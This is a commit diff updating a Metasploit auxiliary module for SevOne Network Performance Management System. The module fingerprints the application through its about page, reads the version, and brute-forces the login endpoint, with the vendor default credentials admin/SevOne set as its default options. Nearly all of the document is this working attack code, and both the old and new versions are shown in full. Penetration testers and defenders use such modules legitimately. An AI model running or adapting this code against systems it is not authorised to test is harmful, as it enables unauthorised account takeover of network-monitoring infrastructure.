Update sevone_enum.rb

Updated as per initial review comments.

Author: juushya

modules/auxiliary/scanner/http/sevone_enum.rb

@@ -1,120 +1,115 @@
-+##
-+# This file is part of the Metasploit Framework and may be subject to
-+# redistribution and commercial restrictions. Please see the Metasploit
-+# web site for more information on licensing and terms of use.
-+#   http://metasploit.com/
-+##
-+
-+require 'rex/proto/http'
-+require 'msf/core'
-+
-+class Metasploit3 < Msf::Auxiliary
-+
-+  include Msf::Exploit::Remote::HttpClient
-+  include Msf::Auxiliary::Report
-+  include Msf::Auxiliary::AuthBrute
-+  include Msf::Auxiliary::Scanner
-+
-+  def initialize(info={})
-+    super(update_info(info,
-+      'Name'           => 'SevOne Network Performance Management System application version enumeration and brute force login Utility',
-+      'Description'    => %{
-+        This module scans for SevOne Network Performance Management System Application, finds its version,
-+        and performs login brute force to identify valid credentials.},
-+      'Author'         =>
-+        [
-+          'KarnGaneshen[at]gmail.com',
-+        ],
-+      'Version'   => '1.0',
-+      'DisclosureDate' => 'June 07, 2013',
-+      'License'        => MSF_LICENSE
-+    ))
-+    register_options(
-+      [
-+        Opt::RPORT(8443),
-+        OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
-+        OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']),  
-+        OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true])
-+      ], self.class)
-+  end
-+
-+  def run_host(ip)
-+    if not is_app_sevone?
-+      print_error("Application does not appear to be SevOne. Module will not continue.")
-+      return
-+    end
-+
-+    print_status("Starting login brute force...")
-+    each_user_pass do |user, pass|
-+      do_login(user, pass)
-+    end
-+  end
-+
-+  #
-+  # What's the point of running this module if the app actually isn't SevOne?
-+  #
-+  def is_app_sevone?
-+
-+      res = send_request_cgi(
-+                        {
-+                                'uri'       => '/doms/about/index.php',
-+                                'method'    => 'GET'
-+                        })
-+
-+# should include version number
-+
-+      if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
-+        version_key = /Version: <strong>(.+)<\/strong>/
-+        version = res.body.scan(version_key).flatten
-+        print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
-+        success = true
-+      end
-+  end
-+
-+
-+  #
-+  # Brute-force the login page
-+  #
-+  def do_login(user, pass)
-+    vprint_status("Trying username:'#{user}' with password:'#{pass}'")
-+    
-+    begin
-+      res = send_request_cgi(
-+      {
-+        'uri'       => "/doms/login/processLogin.php?login=#{user}&passwd=#{pass}&tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+",
-+        'method'    => 'GET'
-+      })
-+
-+      check_key = "The user has logged in successfully."
-+
-+      key = JSON.parse(res.body)["statusString"]
-+
-+      if (not res or key != "#{check_key}")
-+        vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
-+        return :skip_pass
-+      else
-+        print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
-+
-+        report_hash = {
-+          :host   => datastore['RHOST'],
-+          :port   => datastore['RPORT'],
-+          :sname  => 'SevOne Network Performance Management System Application',
-+          :user   => user,
-+          :pass   => pass,
-+          :active => true,
-+          :type => 'password'}
-+
-+        report_auth_info(report_hash)
-+        return :next_user
-+      end
-+
-+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-+           res = false
-+    rescue ::Timeout::Error, ::Errno::EPIPE
-+
-+    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
-+      print_error("HTTP Connection Failed, Aborting")
-+      return :abort
-+    end
-+  end
-+end
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'rex/proto/http'
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::AuthBrute
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'SevOne Network Performance Management System Application Version Enumeration and Brute Force Login Utility',
+      'Description'    => %{
+        This module scans for SevOne Network Performance Management System Application, finds its version,
+        and performs login brute force to identify valid credentials.},
+      'Author'         =>
+        [
+          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
+        ],
+      'Version'        => '1.0',
+      'DisclosureDate' => 'June 07, 2013',
+      'License'        => MSF_LICENSE
+    ))
+    register_options(
+      [
+        Opt::RPORT(8443),
+        OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
+        OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']),
+        OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true])
+      ], self.class)
+  end
+
+  def run_host(ip)
+    if not is_app_sevone?
+      print_error("Application does not appear to be SevOne. Module will not continue.")
+      return
+    end
+
+    print_status("Starting login brute force...")
+    each_user_pass do |user, pass|
+      do_login(user, pass)
+    end
+  end
+
+  #
+  # What's the point of running this module if the app actually isn't SevOne?
+  #
+  def is_app_sevone?
+
+      res = send_request_cgi(
+                        {
+                                'uri'       => '/doms/about/index.php',
+                                'method'    => 'GET'
+                        })
+
+# should include version number
+
+      if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
+        version_key = /Version: <strong>(.+)<\/strong>/
+        version = res.body.scan(version_key).flatten
+        print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
+        success = true
+      end
+  end
+
+  #
+  # Brute-force the login page
+  #
+  def do_login(user, pass)
+    vprint_status("Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
+    begin
+      res = send_request_cgi(
+      {
+        'uri'       => "/doms/login/processLogin.php?login=#{user}&passwd=#{pass}&tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+",
+        'method'    => 'GET'
+      })
+
+      check_key = "The user has logged in successfully."
+
+      key = JSON.parse(res.body)["statusString"]
+
+      if (not res or key != "#{check_key}")
+        vprint_error("FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
+        return :skip_pass
+      else
+        print_good("SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
+
+        report_hash = {
+          :host   => datastore['RHOST'],
+          :port   => datastore['RPORT'],
+          :sname  => 'SevOne Network Performance Management System Application',
+          :user   => user,
+          :pass   => pass,
+          :active => true,
+          :type   => 'password'}
+
+        report_auth_info(report_hash)
+        return :next_user
+      end
+
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+  	      	res = false
+			print_error("HTTP Connection Failed, Aborting")
+			return :abort
+		end
+  end
+end